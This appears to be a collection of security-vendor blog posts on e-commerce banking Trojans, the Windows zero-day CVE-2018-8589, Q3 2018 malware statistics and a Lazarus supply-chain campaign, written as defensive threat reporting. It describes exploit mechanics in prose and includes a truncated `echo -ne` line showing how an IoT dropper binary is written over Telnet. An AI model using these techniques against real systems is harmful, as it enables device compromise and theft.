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Updated: 1 hour 37 min ago

Black Friday alert

Thu, 11/15/2018 - 05:00

Banking Trojans traditionally target users of online financial services; looking for financial data to steal or building botnets out of hacked devices for future attacks. However, over time, several of these banking Trojans have enhanced their functionality, launching new variants and extending their range. Some are now able to obtain root access to infected devices, perform transactions, inject other malicious code, record video, and more. And the victims of such malware are not just people who bank online but online shoppers in general.
According to Kaspersky Lab data, 14 malware families are targeting e-commerce brands to steal from victims. The main ones are Betabot, Panda, Gozi, Zeus, Chthonic, TinyNuke, Gootkit2, IcedID and SpyEye. They are all banking Trojans. Detections of their e-commerce-related activity has increased steadily over the last few years, from 6.6 million in 2015 to an estimated 12.3 million by the end of 2018 (based on the extrapolation of a detection number of 9.2 million at the end of Q3, 2018), with a 12% increase between 2016 and 2017, and a 10% expected rise between 2017 and 2018.

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Overall detection data for main malware Trojans targeting users of e-commerce brands, 2015 – 2018. Source: KSN (download)

Attack method

The Trojans are using the e-commerce brands to hunt user credentials like login, password, card number, phone number, and more. In order to do so, the malware can intercept input data on target sites, modify online page content, and/or redirect visitors to phishing pages.
For example, the Trojans enable the cybercriminals behind them to monitor users’ online behavior: tracking which sites are visited on the infected device. If the Trojan spots the user browsing to a target e-commerce website, it activates its form-grabbing functionality. ‘Form grabbing’ is a technique used by criminals to save all the information that a user enters into forms on a website. And on an e-commerce website, such forms are almost certain to contain: login and password combination as well as payment data such as credit card number, expiration date and CVV. If there is no two-factor transaction confirmation in place, then the criminals who obtained this data can use it to steal money.

Target brands

The 14 malware families were found to be targeting a total of 67 consumer e-commerce sites between them. This includes 33 ‘consumer apparel’ sites (clothing, footwear, gifts, toys, jewelry and department stores), eight consumer electronics sites, eight entertainment and gaming sites, three popular telecoms sites, two online payment sites, and three online retail platforms, among others.
Betabot targets as many as 46 different brands, and was the only Trojan to target entertainment and gaming sites, while Gozi targets 36 brands overall, and Panda 35.

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Proportion of e-commerce categories targeted by malware, 2018 (download)

Why would banking Trojans target e-commerce sites?

One possibility is financial gain by selling the credentials: our research uncovered over three million sets of e-commerce credentials up for sale on a marketplace easily accessible through the Google search engine. The highest prices are charged for what appear to be hacked merchant accounts.
Another way of making money could be to use rather than sell the compromised credentials. Cybercriminals could, for example, use the stolen accounts in money-laundering schemes: buying things from a website using victims’ credentials so they look like known customers and don’t trigger any anti-fraud measures, and then selling those items on again.

Target geography

In 2018, malware attacks to steal data through e-commerce brands were particularly active in European countries, including Italy, Germany and France, as well as in North America, Russia and emerging markets.
For example, most of those affected by Betabot attacks through e-commerce sites were located in Italy (where 14.13% of users affected by any malware in the first eight months of 2018 were targeted by this threat), Germany (6.04%), Russia (5.5%) and India (4.87%). For Gozi the pattern was similar: 19.57% of users affected by any malware in Italy were targeted by this threat, with Russia second (13.89%), followed by Brazil (11.96%) and France (5.91%).

Advice and recommendations

To stay safe from such threats during the busy festive shopping season, Kaspersky Lab recommends taking the following security measures:

If you are a consumer

  • A powerful, updated security solution is a must for all devices you use to shop online. Avoid buying anything online from websites that look potentially dangerous or resemble an incomplete version of a trusted brand’s website.
  • Don’t click on unknown links in email or social media messages, even from people you know, unless you were expecting the message.

If you are an online brand or trader

  • Use a reputable payment service and keep your online trading and payment platform software up to date. Every new update may contain critical patches to make the system less vulnerable to cybercriminals.
  • Use a tailored security solution to protect your business and customers.
  • Pay attention to the personal information used by customers to buy from you. Use a fraud prevention solution that you can adjust to your company profile and the profile of your customers.
  • Think about how much money you wish to keep in an online payment transaction account at any one time. The greater the balance, the higher the value of that account to hackers.
  • Restrict the number of attempted transactions and always use two-factor authentication (Verified by Visa, MasterCard Secure Code, etc.).

The research is based on data obtained with user consent and processed using Kaspersky Security Network (KSN). All malware belonging to the banking Trojans covered in the report are detected and blocked by Kaspersky Lab security solutions.

Full report “Buyer beware: cyberthreats targeting e-commerce, 2018” (English, PDF)

A new exploit for zero-day vulnerability CVE-2018-8589

Wed, 11/14/2018 - 02:00

Yesterday, Microsoft published its security bulletin, which patches a vulnerability discovered by our technologies. We reported it to Microsoft on October 17, 2018. The company confirmed the vulnerability and assigned it CVE-2018-8589.

In October 2018, our Automatic Exploit Prevention (AEP) systems detected an attempt to exploit a vulnerability in Microsoft’s Windows operating system. Further analysis revealed a zero-day vulnerability in win32k.sys. The exploit was executed by the first stage of a malware installer in order to gain the necessary privileges for persistence on the victim’s system. So far, we have detected a very limited number of attacks using this vulnerability. The victims are located in the Middle East.

Kaspersky Lab products detected this exploit proactively using the following technologies:

  • Behavioral Detection Engine and Automatic Exploit Prevention for endpoints
  • Advanced Sandboxing and Anti-Malware Engine for Kaspersky Anti Targeted Attack Platform (KATA)

Kaspersky Lab verdicts for the artifacts in this campaign are:

  • HEUR:Exploit.Win32.Generic
  • HEUR:Trojan.Win32.Generic
  • PDM:Exploit.Win32.Generic

More information about the attack is available to customers of Kaspersky Intelligence Reports. Contact:

Technical details

CVE-2018-8589 is a race condition present in win32k!xxxMoveWindow due to improper locking of messages sent synchronously between threads.

The exploit uses the vulnerability by creating two threads with a class and associated window and moves the window of the opposite thread inside the callback of a WM_NCCALCSIZE message in a window procedure that is common to both threads.

WM_NCCALCSIZE message in win32k!xxxCalcValidRects

Termination of the opposite thread on the maximum level of recursion inside the WM_NCCALCSIZE callback will cause asynchronous copyin of the lParam structure controlled by the attacker.

Lack of proper message locking between win32k!xxxCalcValidRects and win32k!SfnINOUTNCCALCSIZE

The exploit populates lParam with pointers to the shellcode and after being successfully copyied to kernel inside win32k!SfnINOUTNCCALCSIZE, the kernel jumps to the user level. The exploit found in the wild only targeted 32-bit versions of Windows 7.

BSOD on an up-to-date version of Windows 7 with our proof of concept

As always, we provided Microsoft with a proof of concept for this vulnerability along with well-written source code.

IT threat evolution Q3 2018. Statistics

Mon, 11/12/2018 - 05:00

These statistics are based on detection verdicts of Kaspersky Lab products received from users who consented to provide statistical data.

Q3 figures

According to Kaspersky Security Network:

  • Kaspersky Lab solutions blocked 947,027,517 attacks launched from online resources located in 203 countries.
  • 246,695,333 unique URLs were recognized as malicious by Web Anti-Virus components.
  • Attempted infections by malware designed to steal money via online access to bank accounts were logged on the computers of 305,315 users.
  • Ransomware attacks were registered on the computers of 259,867 unique users.
  • Our File Anti-Virus logged 239,177,356 unique malicious and potentially unwanted objects.
  • Kaspersky Lab products for mobile devices detected:
    • 1,305,015 malicious installation packages
    • 55,101 installation packages for mobile banking Trojans
    • 13,075 installation packages for mobile ransomware Trojans.
Mobile threats Q3 events

Perhaps the biggest news of the reporting period was the Trojan-Banker.AndroidOS.Asacub epidemic. It peaked in September when more than 250,000 unique users were attacked – and that only includes statistics for those with Kaspersky Lab’s mobile products installed on their devices.

Number of users attacked by the mobile banker Asacub in 2017 and 2018

The scale of the attack involving Asacub by far surpasses the largest attacks we have previously observed while monitoring mobile threats. The Trojan’s versions have sequential version numbers, suggesting the attacks were launched by just one threat actor. It’s impossible to count the total number of affected users, but it would need to be in the tens of thousands to make such a massive malicious campaign profitable.

Mobile threat statistics

In Q3 2018, Kaspersky Lab detected 1,305,015 malicious installation packages, which is 439,229 more packages than in the previous quarter.

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Number of detected malicious installation packages, Q3 2017 – Q3 2018 (download)

Distribution of detected mobile apps by type

Among all the threats detected in Q3 2018, the lion’s share belonged to potentially unwanted RiskTool apps (52.05%); compared to the previous quarter, their share decreased by 3.3 percentage points (p.p.). Members of the RiskTool.AndroidOS.SMSreg family contributed most to this.

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Distribution of newly detected mobile apps by type, Q2 – Q3 2018 (download)

Second place was occupied by Trojan-Dropper threats (22.57%), whose share increased by 9 p.p. Most files of this type belonged to the Trojan-Dropper.AndroidOS.Piom, Trojan-Dropper.AndroidOS.Wapnor and Trojan-Dropper.AndroidOS.Hqwar families.

The share of advertising apps continued to decrease and accounted for 6.44% of all detected threats (compared to 8.91% in Q2 2018).

The statistics show that the number of mobile financial threats has been rising throughout 2018, with the proportion of mobile banker Trojans increasing from 1.5% in Q1, to 4.38% of all detected threats in Q3.

TOP 20 mobile malware

Verdicts* %** 1 DangerousObject.Multi.Generic 55.85 2 Trojan.AndroidOS.Boogr.gsh 11.39 3 Trojan-Banker.AndroidOS.Asacub.a 5.28 4 Trojan-Banker.AndroidOS.Asacub.snt 5.10 5 Trojan.AndroidOS.Piom.toe 3.23 6 Trojan.AndroidOS.Dvmap.a 3.12 7 Trojan.AndroidOS.Triada.dl 3.09 8 Trojan-Dropper.AndroidOS.Tiny.d 2.88 9 Trojan-Dropper.AndroidOS.Lezok.p 2.78 10 Trojan.AndroidOS.Agent.rt 2,74 11 2.62 12 2.51 13 Trojan-Banker.AndroidOS.Asacub.ce 2.29 14 Trojan-Dropper.AndroidOS.Agent.ii 1,77 15 1.75 16 Trojan.AndroidOS.Agent.pac 1.61 17 1.59 18 1.55 19 Trojan.AndroidOS.Piom.uwp 1.48 20 Trojan.AndroidOS.Piom.udo 1.36

* This malware rating does not include potentially dangerous or unwanted programs such as RiskTool or adware.
** Unique users attacked by the given malware as a percentage of all users of Kaspersky Lab’s mobile antivirus that were attacked.

First place in our TOP 20 once again went to DangerousObject.Multi.Generic (55.85%), the verdict we use for malware that’s detected using cloud technologies. Cloud technologies work when antivirus databases do not yet contain the data to detect a malicious program but the company’s cloud antivirus database already includes information about the object. This is basically how the very latest malicious programs are detected.

In second place was Trojan.AndroidOS.Boogr.gsh (11.39%). This verdict is given to files that our system recognizes as malicious based on machine learning..

Third and fourth places went to representatives of the Asacub mobile banker family – Trojan-Banker.AndroidOS.Asacub.a (5.28%) and Trojan-Banker.AndroidOS.Asacub.snt (5.10%).

Geography of mobile threats

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Map of attempted infections using mobile malware, Q3 2018 (download)

TOP 10 countries by share of users attacked by mobile malware:

Country* %** 1 Bangladesh 35.91 2 Nigeria 28.54 3 Iran 28.07 4 Tanzania 28.03 5 China 25.61 6 India 25.25 7 Pakistan 25.08 8 Indonesia 25.02 9 Philippines 23.07 10 Algeria 22.88

* Countries with relatively few users of Kaspersky Lab’s mobile antivirus (under 10,000) are excluded.
** Unique users attacked in the country as a percentage of all users of Kaspersky Lab’s mobile antivirus in the country.

In Q3 2018, Bangladesh (35.91%) retained first place in terms of the share of mobile users attacked. Nigeria (28.54%) came second. Third and fourth places were claimed by Iran (28.07%) and Tanzania (28.03%) respectively.

Mobile banking Trojans

During the reporting period, we detected 55,101 installation packages for mobile banking Trojans, which is nearly 6,000 fewer than in Q2 2018.

The largest contribution was made by Trojans belonging to the family Trojan-Banker.AndroidOS.Hqwar.jck – this verdict was given to 35% of all detected banking Trojans. Trojan-Banker.AndroidOS.Asacub came second, accounting for 29%.

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Number of installation packages for mobile banking Trojans detected by Kaspersky Lab, Q3 2017 – Q3 2018 (download)

Verdicts %* 1 Trojan-Banker.AndroidOS.Asacub.a 33.27 2 Trojan-Banker.AndroidOS.Asacub.snt 32.16 3 16.51 4 15.84 5 Trojan-Banker.AndroidOS.Asacub.ce 14.46 6 6.66 7 Trojan-Banker.AndroidOS.Svpeng.q 3.25 8 2.07 9 1.68 10 1.68

* Unique users attacked by the given malware as a percentage of all users of Kaspersky Lab’s mobile antivirus that were attacked by banking threats.

In Q3 2018, the TOP 10 rating of banking threats was almost exclusively (nine places out of 10) occupied by various versions of Trojan-Banker.AndroidOS.Asacub.

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Geography of mobile banking threats, Q3 2018 (download)

TOP 10 countries by share of users attacked by mobile banking Trojans:

Country* %** 1 Russia 2.18 2 South Africa 2.16 3 Malaysia 0.53 4 Ukraine 0.41 5 Australia 0.39 6 China 0.35 7 South Korea 0.33 8 Tajikistan 0.30 9 USA 0.27 10 Poland 0.25

* Countries where the number of users of Kaspersky Lab’s mobile antivirus is relatively small (under 10,000) are excluded.
** Unique users in the country attacked by mobile ransomware Trojans as a percentage of all users of Kaspersky Lab’s mobile antivirus in the country.

In Q3 2018, Russia ended up in first place in this TOP 10 because of the mass attacks involving the Asacub Trojan. The USA, the previous quarter’s leader, fell to ninth (0.27%) in Q3. Second and third place were occupied by South Africa (2.16%) and Malaysia (0.53%) respectively.

Mobile ransomware Trojans

In Q3 2018, we detected 13,075 installation packages for mobile ransomware Trojans, which is 1,044 fewer than in Q2.

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Number of installation packages for mobile ransomware Trojans detected by Kaspersky Lab, Q3 2017 – Q3 2018 (download)

Verdicts %* 1 47.79 2 Trojan-Ransom.AndroidOS.Svpeng.ah 26.55 3 Trojan-Ransom.AndroidOS.Zebt.a 6.71 4 Trojan-Ransom.AndroidOS.Fusob.h 6.23 5 Trojan-Ransom.AndroidOS.Rkor.g 5.50 6 Trojan-Ransom.AndroidOS.Svpeng.snt 3.38 7 Trojan-Ransom.AndroidOS.Svpeng.ab 2.15 8 Trojan-Ransom.AndroidOS.Egat.d 1.94 9 1.43 10 Trojan-Ransom.AndroidOS.Small.cj 1.23

* Unique users attacked by the given malware as a percentage of all users of Kaspersky Lab’s mobile antivirus attacked by ransomware Trojans.

In Q3 2018, the most widespread mobile ransomware Trojans belonged to the Svpeng family – (47.79%) and Trojan-Ransom.AndroidOS.Svpeng.ah (26.55%). Together, they accounted for three quarters of all mobile ransomware Trojan attacks. The once-popular families Zebt and Fusob were a distant third and fourth, represented by Trojan-Ransom.AndroidOS.Zebt.a (6.71%) and Trojan-Ransom.AndroidOS.Fusob.h (6.23%) respectively.

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Geography of mobile ransomware Trojans, Q3 2018 (download)

TOP 10 countries by share of users attacked by mobile ransomware Trojans:

Country* %** 1 USA 1.73 2 Kazakhstan 0.36 3 China 0.14 4 Italy 0.12 5 Iran 0.11 6 Belgium 0.10 7 Switzerland 0.09 8 Poland 0.09 9 Mexico 0.09 10 Romania 0.08

* Countries where the number of users of Kaspersky Lab’s mobile antivirus is relatively small (under 10,000) are excluded.
** Unique users in the country attacked by mobile ransomware Trojans as a percentage of all users of Kaspersky Lab’s mobile antivirus in the country.

Just like in Q2, first place in the TOP 10 went to the United States (1.73%). Kazakhstan (0.6%) rose one place to second in Q3, while China (0.14%) rose from seventh to third.

Attacks on IoT devices

In this quarter’s report, we decided to only present the statistics for Telnet attacks, as this type of attack is used most frequently and employs the widest variety of malware types.

Telnet 99,4% SSH 0,6%

The popularity of attacked services according to the number of unique IP addresses from which attacks were launched, Q3 2018

Telnet attacks

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Geography of IP addresses of devices from which attacks were attempted on Kaspersky Lab honeypots, Q3 2018 (download)

TOP 10 countries hosting devices that were sources of attacks targeting Kaspersky Lab honeypots.

Country %* 1 China 27.15% 2 Brazil 10.57% 3 Russia 7.87% 4 Egypt 7.43% 5 USA 4.47% 6 South Korea 3.57% 7 India 2.59% 8 Taiwan 2.17% 9 Turkey 1.82% 10 Italy 1.75%

* Infected devices in each country as a percentage of the global number of IoT devices that attack via Telnet.

In Q3, China (23.15%) became the leader in terms of the number of unique IP addresses directing attacks against Kaspersky Lab honeypots. Brazil (10.57%) came second, after leading the rating in Q2. Russia (7.87%) was third.

Successful Telnet attacks saw the threat actors download Downloader.Linux.NyaDrop.b (62.24%) most often. This piece of malware is remarkable in that it contains a shell code that downloads other malware from the same source computer that has just infected the victim IoT device. The shell code doesn’t require any utilities – it performs all the necessary actions within itself using system calls. In other words, NyaDrop is a kind of universal soldier, capable of performing its tasks irrespective of the environment it has been launched in.

It was the Trojans of the family Backdoor.Linux.Hajime that downloaded NyaDrop most frequently, because this is a very convenient self-propagation method for Hajime. The flow chart in this case is of particular interest:

  1. After successfully infecting a device, Hajime scans the network to find new victims.
  2. As soon as a suitable device is found, the lightweight NyaDrop (just 480 bytes) is downloaded to it.
  3. NyaDrop contacts the device that was the infection source and slowly downloads Hajime, which is much larger.

All these actions are only required because it’s quite a challenge to download files via Telnet, though it is possible to execute commands. For example, this is what creating a NyaDrop file looks like:

echo -ne "\x7f\x45\x4c\x46\x01\x01\x01\x00\x00

480 bytes can be sent this way, but sending 60 KB becomes problematic.

TOP 10 malware downloaded to infected IoT devices in successful Telnet attacks

Verdicts %* 1 Trojan-Downloader.Linux.NyaDrop.b 62.24% 2 16.31% 3 Backdoor.Linux.Mirai.b 12.01% 4 Trojan-Downloader.Shell.Agent.p 1.53% 5 Backdoor.Linux.Mirai.c 1.33% 6 Backdoor.Linux.Gafgyt.ay 1.15% 7 0.83% 8 0.61% 9 Trojan-Downloader.Linux.Mirai.d 0.51% 10 0.37%

* Proportion of downloads of each specific malicious program to IoT devices in successful Telnet attacks as a percentage of all malware downloads in such attacks.

The rating did not differ much from the previous quarter: half the top 10 is occupied by different modifications of Mirai, which is the most widespread IoT malware program to date.

Financial threats Q3 events

The banking Trojan DanaBot that was detected in Q2 continued to develop rapidly in Q3. A new modification included not only an updated C&C/bot communication protocol but also an extended list of organizations targeted by the malware. Its prime targets in Q2 were located in Australia and Poland, but in Q3 organizations from Austria, Germany and Italy were also included.

To recap, DanaBot has a modular structure and is capable of loading extra modules to intercept traffic and steal passwords and crypto wallets. The Trojan spread via spam messages containing a malicious office document, which subsequently loaded the Trojan’s main body.

Financial threat statistics

In Q3 2018, Kaspersky Lab solutions blocked attempts to launch one or more malicious programs designed to steal money from bank accounts on the computers of 305,315 users.

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Number of unique users attacked by financial malware, Q3 2018 (download)

Geography of attacks

To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, we calculated the share of users of Kaspersky Lab products in each country that faced this threat during the reporting period out of all users of our products in that country.

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Geography of banking malware attacks, Q3 2018 (download)

TOP 10 countries by percentage of attacked users

Country* %** 1 Germany 3.0 2 South Korea 2.8 3 Greece 2.3 4 Malaysia 2.1 5 Serbia 2.0 6 United Arab Emirates 1.9 7 Portugal 1.9 8 Lithuania 1.9 9 Indonesia 1.8 10 Cambodia 1.8

* Countries with relatively few users of Kaspersky Lab’s mobile antivirus (under 10,000) are excluded.
** Unique users attacked by mobile banking Trojans in the country as a percentage of all users of Kaspersky Lab’s mobile antivirus in that country.

TOP 10 banking malware families

Name Verdicts %* 1 Zbot Trojan.Win32.Zbot 25.8 2 Nymaim Trojan.Win32.Nymaim 18.4 3 SpyEye Backdoor.Win32.SpyEye 18.1 4 RTM Trojan-Banker.Win32.RTM 9.2 5 Emotet Backdoor.Win32.Emotet 5.9 6 Neurevt Trojan.Win32.Neurevt 4.7 7 Tinba Trojan-Banker.Win32.Tinba 2.8 8 NeutrinoPOS Trojan-Banker.Win32.NeutrinoPOS 2.4 9 Gozi Trojan.Win32. Gozi 1.6 10 Trickster Trojan.Win32.Trickster 1.4

* Unique users attacked by the given malware as a percentage of all users that were attacked by banking threats.

In Q3 2018, there were three newcomers to this TOP 10: Trojan.Win32.Trickster (1.4%), Trojan-Banker.Win32.Tinba (2.8%) and Trojan-Banker.Win32.RTM (9.2%). The latter shot to fourth place thanks to a mass mailing campaign in mid-July that involved emails with malicious attachments and links.

Overall, the TOP 3 remained the same, though Trojan.Win32.Nymaim ceded some ground – from 27% in Q2 to 18.4% in Q3 – and fell to second.

Cryptoware programs Q3 events

In early July, Kaspersky Lab experts detected an unusual modification of the notorious Rakhni Trojan. What drew the analysts’ attention was that in some cases the downloader now delivers a miner instead of ransomware as was always the case with this malware family in the past.

August saw the detection of the rather unusual KeyPass ransomware. Its creators apparently decided to make provisions for all possible infection scenarios – via spam, with the help of exploit packs, and via manual brute-force attacks on the passwords of the remote access system, after which the Trojan is launched. The KeyPass Trojan can run in both hidden mode and GUI mode so the threat actor can configure encryption parameters.

Meanwhile, law enforcement agencies continue their systematic battle against ransomware. Following several years of investigations, two cybercriminals who distributed the CoinVault ransomware were found guilty in the Netherlands.

Statistics Number of new modifications

In Q3, the number of detected cryptoware modifications was significantly lower than in Q2 and close to that of Q1.

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Number of new cryptoware modifications, Q4 2017 – Q3 2018 (download)

Number of users attacked by Trojan cryptors

In Q3 2018, Kaspersky Lab products protected 259,867 unique KSN users from Trojan cryptors. The total number of attacked users rose both against Q2 and on a month-on-month basis during Q3. In September, we observed a significant rise in the number of attempted infections, which appears to correlate with people returning from seasonal vacations.

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Number of unique users attacked by Trojan cryptors, Q3 2018 (download)

Geography of attacks

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Geography of Trojan cryptors attacks, Q3 2018 (download)

TOP 10 countries attacked by Trojan cryptors

Country* %** 1 Bangladesh 5.80 2 Uzbekistan 3.77 3 Nepal 2.18 4 Pakistan 1.41 5 India 1.27 6 Indonesia 1.21 7 Vietnam 1.20 8 Mozambique 1.06 9 China 1.05 10 Kazakhstan 0.84

* Countries with relatively few Kaspersky Lab users (under 50,000) are excluded.
** Unique users whose computers were attacked by Trojan cryptors as a percentage of all unique users of Kaspersky Lab products in that country.

Most of the places in this rating are occupied by Asian countries. Bangladesh tops the list with 5.8%, followed by Uzbekistan (3.77%) and the newcomer Nepal (2.18%) in third. Pakistan (1.41%) came fourth, while China (1.05%) fell from sixth to ninth and Vietnam (1.20%) fell four places to seventh.

TOP 10 most widespread cryptor families

Name Verdicts %* 1 WannaCry Trojan-Ransom.Win32.Wanna 28.72% 2 (generic verdict) Trojan-Ransom.Win32.Phny 13.70% 3 GandCrab Trojan-Ransom.Win32.GandCrypt 12.31% 4 Cryakl Trojan-Ransom.Win32.Cryakl 9.30% 5 (generic verdict) Trojan-Ransom.Win32.Gen 2.99% 6 (generic verdict) Trojan-Ransom.Win32.Cryptor 2.58% 7 PolyRansom/VirLock Virus.Win32.PolyRansom 2.33% 8 Shade Trojan-Ransom.Win32.Shade 1,99% 9 Crysis Trojan-Ransom.Win32.Crusis 1.70% 10 (generic verdict) Trojan-Ransom.Win32.Encoder 1.70%

* Unique Kaspersky Lab users attacked by a specific family of Trojan cryptors as a percentage of all users attacked by Trojan cryptors.

The leading 10 places are increasingly occupied by generic verdicts, suggesting widespread cryptors are effectively detected by automatic intelligent systems. WannaCry (28.72%) still leads the way among specific cryptoware families. This quarter saw two new versions of the Trojan GandCrab (12.31%) emerge, meaning it remained in the most widespread ransomware rating. Among the old-timers that remained in the TOP 10 were PolyRansom, Cryakl, Shade, and Crysis, while Cerber and Purgen failed to gain much distribution this quarter.


As we already reported in Ransomware and malicious cryptominers in 2016-2018, ransomware is gradually declining and being replaced with cryptocurrency miners. Therefore, this year we decided to start publishing quarterly reports on the status of this type of threat. At the same time, we began using a broader range of verdicts as a basis for collecting statistics on miners, so the statistics in this year’s quarterly reports may not be consistent with the data from our earlier publications.

Statistics Number of new modifications

In Q3 2018, Kaspersky Lab solutions detected 31,991 new modifications of miners.

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Number of new miner modifications, Q3 2018 (download)

Number of users attacked by cryptominers

In Q3, Kaspersky Lab products detected mining programs on the computers of 1,787,994 KSN users around the world.

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Number of unique users attacked by cryptominers, Q3 2018 (download)

Cryptomining activity in September was comparable to that of June 2018, though we observed an overall downward trend in Q3.

Geography of attacks

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Geography of cryptominers, Q3 2018 (download)

TOP 10 countries by percentage of attacked users

Country* %** 1 Afghanistan 16.85% 2 Uzbekistan 14.23% 3 Kazakhstan 10.17% 4 Belarus 9.73% 5 Vietnam 8.96% 6 Indonesia 8.80% 7 Mozambique 8.50% 8 Ukraine 7.60% 9 Tanzania 7.51% 10 Azerbaijan 7.13%

* Countries with relatively few Kaspersky Lab product users (under 50,000) are excluded.
** Unique Kaspersky Lab users whose computers were targeted by miners as a percentage of all unique users of Kaspersky Lab products in the country.

Vulnerable apps used by cybercriminals

The distribution of platforms most often targeted by exploits showed very little change from Q2. Microsoft Office applications (70%) are still the most frequently targeted – five times more than web browsers, the second most attacked platform.

Although quite some time has passed since security patches were released for the two vulnerabilities most often used in cyberattacks – CVE-2017-11882 and CVE-2018-0802 – the exploits targeting the Equation Editor component still remain the most popular for sending malicious spam messages.

An exploit targeting the vulnerability CVE-2018-8373 in the VBScript engine (which was patched in late August) was detected in the wild and affected Internet Explorer 9–11. However, we are currently observing only limited use of this vulnerability by cybercriminals. This is most probably due to Internet Explorer not being very popular, as well as the fact that VBScript execution is disabled by default in recent versions of Windows 10.

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Distribution of exploits used by cybercriminals, by type of attacked application, Q3 2018 (download)

Q3 was also marked by the emergence of two atypical 0-day vulnerabilities – CVE-2018-8414 and CVE-2018-8440. They are peculiar because information about the existence of these vulnerabilities, along with detailed descriptions and all the files required to reproduce them, was leaked to the public domain long before official patches were released for them.

In the case of CVE-2018-8414, an article was published back in June with a detailed description of how SettingContent-ms files can be used to execute arbitrary code in Windows. However, the security patch to fix this vulnerability was only released in Q3, one month after the article became publicly available and active exploitation of the vulnerability had already began. The researchers who described this technique reported it to Microsoft, but initially it was not recognized as a vulnerability requiring a patch. Microsoft reconsidered after cybercriminals began actively using these files to deliver malicious payloads, and a patch was released on July 14. According to KSN statistics, the SettingContent-ms files didn’t gain much popularity among cybercriminals, and after the security patch was released, their use ceased altogether.

Another interesting case was the CVE-2018-8440 security breach. Just like in the case above, all the information required for reproduction was deliberately published by a researcher, and threat actors naturally took advantage. CVE-2018-8440 is a privilege-escalation vulnerability, allowing an attacker to escalate their privilege in the system to the highest level – System. The vulnerability is based on how Windows processes a task scheduler advanced local procedure call (ALPC). The vulnerable ALPC procedure makes it possible to change the discretionary access control list (DACL) for files located in a directory that doesn’t require special privileges to access. To escalate privileges, the attacker exploits the vulnerability in the ALPC to change access rights to a system file, and then that system file is overwritten by an unprivileged user.

Attacks via web resources

The statistics in this chapter are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are created by cybercriminals, while web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected.

Countries where online resources are seeded with malware

The following statistics are based on the physical location of the online resources used in attacks and blocked by our antivirus components (web pages containing redirects to exploits, sites containing exploits and other malware, botnet command centers, etc.). Any unique host could be the source of one or more web attacks. In order to determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In the third quarter of 2018, Kaspersky Lab solutions blocked 947,027,517 attacks launched from web resources located in 203 countries around the world. 246,695,333 unique URLs were recognized as malicious by web antivirus components.

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Distribution of web attack sources by country, Q3 2018 (download)

In Q3, the USA (52.81%) was home to most sources of web attacks. Overall, the leading four sources of web attacks remained unchanged from Q2: the USA is followed by the Netherlands (16.26%), Germany (6.94%) and France (4.4%).

Countries where users faced the greatest risk of online infection

To assess the risk of online infection faced by users in different countries, we calculated the percentage of Kaspersky Lab users on whose computers Web Anti-Virus was triggered in each country during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.

This rating only includes attacks by malware-class malicious programs; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.

Страна* %** 1 Venezuela 35.88 2 Albania 32.48 3 Algeria 32.41 4 Belarus 31.08 5 Armenia 29.16 6 Ukraine 28.67 7 Moldova 28.64 8 Azerbaijan 26.67 9 Kyrgyzstan 25.80 10 Serbia 25.38 11 Mauritania 24.89 12 Indonesia 24.68 13 Romania 24.56 14 Qatar 23.99 15 Kazakhstan 23.93 16 Philippines 23.84 17 Lithuania 23.70 18 Djibouti 23.70 19 Latvia 23.09 20 Honduras 22.97

* Countries with relatively few Kaspersky Lab users (under 10,000) are excluded.
** Unique users targeted by malware-class attacks as a percentage of all unique users of Kaspersky Lab products in the country.

On average, 18.92% of internet users’ computers worldwide experienced at least one malware-class web attack.

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Geography of malicious web attacks in Q3 2018 (download)

Local threats

Local infection statistics for user computers are an important indicator: they reflect threats that have penetrated computer systems by infecting files or via removable media, or initially got on the computer in an encrypted format (for example, programs integrated in complex installers, encrypted files, etc.).

Data in this section is based on analyzing statistics produced by antivirus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. Analysis takes account of the malicious programs identified on user computers or on removable media connected to computers – flash drives, camera memory cards, phones and external hard drives.

In Q3 2018, Kaspersky Lab’s file antivirus detected 239,177,356 unique malicious and potentially unwanted objects.

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky Lab product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.

The rating includes only malware-class attacks. It does not include File Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.

Country* %** 1 Uzbekistan 54.93 2 Afghanistan 54.15 3 Yemen 52.12 4 Turkmenistan 49.61 5 Tajikistan 49.05 6 Laos 47.93 7 Syria 47.45 8 Vietnam 46.07 9 Bangladesh 45.93 10 Sudan 45.30 11 Ethiopia 45.17 12 Myanmar 44.61 13 Mozambique 42.65 14 Kyrgyzstan 42.38 15 Iraq 42.25 16 Rwanda 42.06 17 Algeria 41.95 18 Cameroon 40.98 19 Malawi 40.70 20 Belarus 40.66

* Countries with relatively few Kaspersky Lab users (under 10,000) are excluded.
** Unique users on whose computers malware-class local threats were blocked, as a percentage of all unique users of Kaspersky Lab products in the country.

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Geography of malicious web attacks in Q3 2018 (download)

On average, 22.53% of computers globally faced at least one malware-class local threat in Q3.

IT threat evolution Q3 2018

Mon, 11/12/2018 - 05:00

Targeted attacks and malware campaigns Lazarus targets cryptocurrency exchange

Lazarus is a well-established threat actor that has conducted cyber-espionage and cybersabotage campaigns since at least 2009. In recent years, the group has launched campaigns against financial organizations around the globe. In August we reported that the group had successfully compromised several banks and infiltrated a number of global cryptocurrency exchanges and fintech companies. While assisting with an incident response operation, we learned that the victim had been infected with the help of a Trojanized cryptocurrency trading application that had been recommended to the company over email.

An unsuspecting employee had downloaded a third-party application from a legitimate looking website, infecting their computer with malware known as Fallchill, an old tool that Lazarus has recently started using again.

It seems as though Lazarus has found an elaborate way to create a legitimate looking site and inject a malicious payload into a ‘legitimate looking’ software update mechanism – in this case, creating a fake supply chain rather than compromising a real one. At any rate, the success of the Lazarus group in compromising supply chains suggests that it will continue to exploit this method of attack.

The attackers went the extra mile and developed malware for non-Windows platforms – they included a Mac OS version and the website suggests that a Linux version is coming soon. This is probably the first time that we’ve seen this APT group using malware for Mac OS. It would seem that in the chase after advanced users, software developers from supply chains and some high-profile targets, threat actors are forced to develop Mac OS malware tools. The fact that the Lazarus group has expanded its list of targeted operating systems should be a wake-up call for users of non-Windows platforms.

